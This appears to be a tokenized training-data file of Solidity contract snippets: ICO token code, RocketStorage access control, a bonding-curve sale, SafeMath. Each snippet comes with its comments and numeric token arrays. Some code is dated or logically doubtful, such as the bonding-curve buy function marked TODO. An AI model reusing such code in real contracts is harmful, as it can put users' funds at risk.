allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Function eth transfers to this contract */ function() public payable { if (!purchasingAllowed) { throw; } if (msg.value == 0) { return; } owner.transfer(msg.value); totalContribution += msg.value; uint tokensIssued = (msg.value/1000000000000000)*multiplier; balances[msg.sender] += tokensIssued; Transfer(address(this), msg.sender, tokensIssued); } function enablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = true; } function disablePurchasing() { if (msg.sender != owner) { throw; } purchasingAllowed = false; } function preICO() { if (msg.sender != owner) { throw; } multiplier = 35; } function startICO() { if (msg.sender != owner) { throw; } multiplier = 45; } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return BasicToken(tokenAddress).transfer(owner, tokens); } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiSend(address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } } contract PurgeCoin is StandardToken { string public constant name = "Purge Coin"; string public constant symbol = "PGC"; uint8 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); function PurgeCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[0x3A9158Cf4b90D502D1A197699aa6B14edbcE9Ce5] = 130000000; Transfer(0x0, 0x3A9158Cf4b90D502D1A197699aa6B14edbcE9Ce5, 130000000); } }
* @title Ownable @dev The Ownable contract has an owner address, and provides basic authorization control functions, this simplifies the implementation of "user permissions"./
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = 0x3A9158Cf4b90D502D1A197699aa6B14edbcE9Ce5; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
10,771,721
[ 1, 5460, 429, 225, 1021, 14223, 6914, 6835, 711, 392, 3410, 1758, 16, 471, 8121, 5337, 6093, 3325, 4186, 16, 333, 9330, 5032, 326, 4471, 434, 315, 1355, 4371, 9654, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14223, 6914, 288, 203, 225, 1758, 1071, 3410, 31, 203, 203, 203, 225, 871, 14223, 9646, 5310, 1429, 4193, 12, 2867, 8808, 2416, 5541, 16, 1758, 8808, 394, 5541, 1769, 203, 203, 203, 225, 445, 14223, 6914, 1435, 1071, 288, 203, 565, 3410, 273, 374, 92, 23, 37, 29, 25984, 39, 74, 24, 70, 9349, 40, 25, 3103, 40, 21, 37, 3657, 6669, 2733, 7598, 26, 38, 3461, 329, 13459, 41, 29, 39, 73, 25, 31, 203, 225, 289, 203, 203, 225, 9606, 1338, 5541, 1435, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 1338, 5541, 288, 203, 565, 2583, 12, 2704, 5541, 480, 1758, 12, 20, 10019, 203, 565, 14223, 9646, 5310, 1429, 4193, 12, 8443, 16, 394, 5541, 1769, 203, 565, 3410, 273, 394, 5541, 31, 203, 225, 289, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x463402E43aFdb7F81596f7F49Fbc91f4f584e69A/sources/NotAnotherAnimeToken.sol
Liquidity Address (switches to dead address once launch happens)
liquidityAddress = payable(0x749407851B6b2fFDdC46176Af48687D5690F2a52);
3,114,097
[ 1, 48, 18988, 24237, 5267, 261, 9610, 281, 358, 8363, 1758, 3647, 8037, 10555, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 4501, 372, 24237, 1887, 273, 8843, 429, 12, 20, 92, 5608, 29, 7132, 27, 7140, 21, 38, 26, 70, 22, 74, 16894, 72, 39, 8749, 28493, 12664, 24, 5292, 11035, 40, 4313, 9349, 42, 22, 69, 9401, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x6816184f231aa6af7f959d99ec0ace5731ab33f0 //Contract name: RocketStorage //Balance: 0 Ether //Verification Date: 6/14/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.19; // File: contracts/storage/RocketStorage.sol /// @title The primary persistent storage for Rocket Pool /// @author David Rugendyke contract RocketStorage { /**** Storage Types *******/ mapping(bytes32 => uint256) private uIntStorage; mapping(bytes32 => string) private stringStorage; mapping(bytes32 => address) private addressStorage; mapping(bytes32 => bytes) private bytesStorage; mapping(bytes32 => bool) private boolStorage; mapping(bytes32 => int256) private intStorage; /*** Modifiers ************/ /// @dev Only allow access from the latest version of a contract in the Rocket Pool network after deployment modifier onlyLatestRocketNetworkContract() { // The owner and other contracts are only allowed to set the storage upon deployment to register the initial contracts/settings, afterwards their direct access is disabled if (boolStorage[keccak256("contract.storage.initialised")] == true) { // Make sure the access is permitted to only contracts in our Dapp require(addressStorage[keccak256("contract.address", msg.sender)] != 0x0); } _; } /// @dev constructor constructor() public { // Set the main owner upon deployment boolStorage[keccak256("access.role", "owner", msg.sender)] = true; } /**** Get Methods ***********/ /// @param _key The key for the record function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } /// @param _key The key for the record function getUint(bytes32 _key) external view returns (uint) { return uIntStorage[_key]; } /// @param _key The key for the record function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } /// @param _key The key for the record function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } /// @param _key The key for the record function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } /// @param _key The key for the record function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } /**** Set Methods ***********/ /// @param _key The key for the record function setAddress(bytes32 _key, address _value) onlyLatestRocketNetworkContract external { addressStorage[_key] = _value; } /// @param _key The key for the record function setUint(bytes32 _key, uint _value) onlyLatestRocketNetworkContract external { uIntStorage[_key] = _value; } /// @param _key The key for the record function setString(bytes32 _key, string _value) onlyLatestRocketNetworkContract external { stringStorage[_key] = _value; } /// @param _key The key for the record function setBytes(bytes32 _key, bytes _value) onlyLatestRocketNetworkContract external { bytesStorage[_key] = _value; } /// @param _key The key for the record function setBool(bytes32 _key, bool _value) onlyLatestRocketNetworkContract external { boolStorage[_key] = _value; } /// @param _key The key for the record function setInt(bytes32 _key, int _value) onlyLatestRocketNetworkContract external { intStorage[_key] = _value; } /**** Delete Methods ***********/ /// @param _key The key for the record function deleteAddress(bytes32 _key) onlyLatestRocketNetworkContract external { delete addressStorage[_key]; } /// @param _key The key for the record function deleteUint(bytes32 _key) onlyLatestRocketNetworkContract external { delete uIntStorage[_key]; } /// @param _key The key for the record function deleteString(bytes32 _key) onlyLatestRocketNetworkContract external { delete stringStorage[_key]; } /// @param _key The key for the record function deleteBytes(bytes32 _key) onlyLatestRocketNetworkContract external { delete bytesStorage[_key]; } /// @param _key The key for the record function deleteBool(bytes32 _key) onlyLatestRocketNetworkContract external { delete boolStorage[_key]; } /// @param _key The key for the record function deleteInt(bytes32 _key) onlyLatestRocketNetworkContract external { delete intStorage[_key]; } /**** Hash Helpers **************/ function kcck256str(string _key1) external pure returns (bytes32) { return keccak256(_key1); } function kcck256strstr(string _key1, string _key2) external pure returns (bytes32) { return keccak256(_key1, _key2); } function kcck256stradd(string _key1, address _key2) external pure returns (bytes32) { return keccak256(_key1, _key2); } function kcck256straddadd(string _key1, address _key2, address _key3) external pure returns (bytes32) { return keccak256(_key1, _key2, _key3); } }
*** Storage Types *******/** Modifiers ************/ @dev Only allow access from the latest version of a contract in the Rocket Pool network after deployment The owner and other contracts are only allowed to set the storage upon deployment to register the initial contracts/settings, afterwards their direct access is disabled Make sure the access is permitted to only contracts in our Dapp
modifier onlyLatestRocketNetworkContract() { if (boolStorage[keccak256("contract.storage.initialised")] == true) { require(addressStorage[keccak256("contract.address", msg.sender)] != 0x0); } _; }
12,732,851
[ 1, 3245, 7658, 342, 3431, 3383, 342, 225, 5098, 1699, 2006, 628, 326, 4891, 1177, 434, 279, 6835, 316, 326, 534, 1861, 8828, 2483, 1839, 6314, 1021, 3410, 471, 1308, 20092, 854, 1338, 2935, 358, 444, 326, 2502, 12318, 6314, 358, 1744, 326, 2172, 20092, 19, 4272, 16, 23838, 3675, 2657, 2006, 353, 5673, 4344, 3071, 326, 2006, 353, 15498, 358, 1338, 20092, 316, 3134, 463, 2910, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 18650, 54, 1861, 3906, 8924, 1435, 288, 203, 3639, 309, 261, 6430, 3245, 63, 79, 24410, 581, 5034, 2932, 16351, 18, 5697, 18, 6769, 5918, 7923, 65, 422, 638, 13, 288, 203, 5411, 2583, 12, 2867, 3245, 63, 79, 24410, 581, 5034, 2932, 16351, 18, 2867, 3113, 1234, 18, 15330, 25887, 480, 374, 92, 20, 1769, 203, 3639, 289, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x05F5230b57E7D1d96B7ECC3975e447955a690b85/sources/BondingCurveFactory_flat.sol
* @param _tokens: The number of tokens to buy. @notice This function will check if the buy will push the token over its threshold, thus moving the token to uniswap. If the buy will push the supply in excess of the threshold, only the tokens needed to reach the threshold will be bought. @dev This function will be blocked after the market has transitioned to uniswap./ The token can transition TODO check what happens here on min threshold
function buy(uint256 _tokens) external freeMarket() { _transitionCheck(true, _tokens); if(transitionConditionsMet) { if( this.totalSupply() + _tokens >= tokenThreshold ) { _tokens = tokenThreshold - this.totalSupply(); _executeBuy(_tokens); } } }
651,418
[ 1, 67, 7860, 30, 1021, 1300, 434, 2430, 358, 30143, 18, 225, 1220, 445, 903, 866, 309, 326, 30143, 903, 1817, 326, 1147, 1879, 2097, 540, 5573, 16, 12493, 12499, 326, 1147, 358, 640, 291, 91, 438, 18, 971, 326, 30143, 903, 540, 1817, 326, 14467, 316, 23183, 434, 326, 5573, 16, 1338, 326, 2430, 540, 3577, 358, 9287, 326, 5573, 903, 506, 800, 9540, 18, 377, 1220, 445, 903, 506, 14547, 1839, 326, 13667, 711, 6007, 329, 540, 358, 640, 291, 91, 438, 18, 19, 1021, 1147, 848, 6007, 2660, 866, 4121, 10555, 2674, 603, 1131, 5573, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 12, 11890, 5034, 389, 7860, 13, 3903, 4843, 3882, 278, 1435, 288, 203, 3639, 389, 14936, 1564, 12, 3767, 16, 389, 7860, 1769, 7010, 3639, 309, 12, 14936, 8545, 12244, 13, 288, 203, 5411, 309, 12, 203, 7734, 333, 18, 4963, 3088, 1283, 1435, 397, 389, 7860, 1545, 1147, 7614, 203, 5411, 262, 288, 203, 7734, 389, 7860, 273, 1147, 7614, 300, 333, 18, 4963, 3088, 1283, 5621, 203, 203, 7734, 389, 8837, 38, 9835, 24899, 7860, 1769, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11297108099/0x27D952098f68084527B601881fA6e1D740999B04/sources/contracts/ThePlatformSale.sol
Track prices and limits for sales*/
struct SaleConfig { uint256 price; uint256 limit; uint256 limitPerPurchase; address paymentRecipient; uint256 saleStart; ERC20 paymentToken; } ThePlatform public publication; mapping(uint256 => SaleConfig) public saleConfigs; /*Token IDs to sale configuration*/
3,224,230
[ 1, 4402, 19827, 471, 8181, 364, 272, 5408, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 348, 5349, 809, 288, 203, 3639, 2254, 5034, 6205, 31, 203, 3639, 2254, 5034, 1800, 31, 203, 3639, 2254, 5034, 1800, 2173, 23164, 31, 203, 3639, 1758, 5184, 18241, 31, 203, 3639, 2254, 5034, 272, 5349, 1685, 31, 203, 3639, 4232, 39, 3462, 5184, 1345, 31, 203, 565, 289, 203, 203, 565, 1021, 8201, 1071, 20574, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 348, 5349, 809, 13, 1071, 272, 5349, 8062, 31, 1748, 1345, 7115, 358, 272, 5349, 1664, 5549, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 